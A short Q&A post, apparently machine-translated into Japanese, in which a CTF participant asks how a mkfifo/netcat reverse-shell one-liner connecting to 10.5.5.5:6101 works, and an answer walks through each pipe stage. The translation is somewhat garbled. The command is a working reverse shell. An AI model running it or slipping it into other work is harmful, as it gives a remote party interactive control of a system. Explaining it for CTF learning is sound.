プラットフォームでCTFチャレンジを実行している間にリバースシェルが必要でしたが、うまくいかなかったので、フローを見てリバースシェルコードを見つけました。
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
これは実際には機能しますが、パイプがどのように機能するか、データを送信する場所などは実際には理解できません。誰かがこれを説明できますか?
答え1
これにより、システムにリモートで制御されるシェルが設定されます。入力と出力は次のとおりです。
cat /tmp/m
FIFOで読んで/tmp/m
書いてください。|/bin/sh -i 2>&1
読み取ったコマンドを実行し、出力(標準出力と標準エラー)を次に送信します。|nc 10.5.5.5 6101
10.5.5.5:6101に接続して書き込みます。>/tmp/m
先に入ったのが先に出たのです。
したがって、リモートシステムはから送信しnc
、FIFOに書き込み、読み取りcat
、および解釈するコマンドを提供することができ、sh
これらのコマンドの出力はFIFOを介してリモートシステムに送り返されますnc
。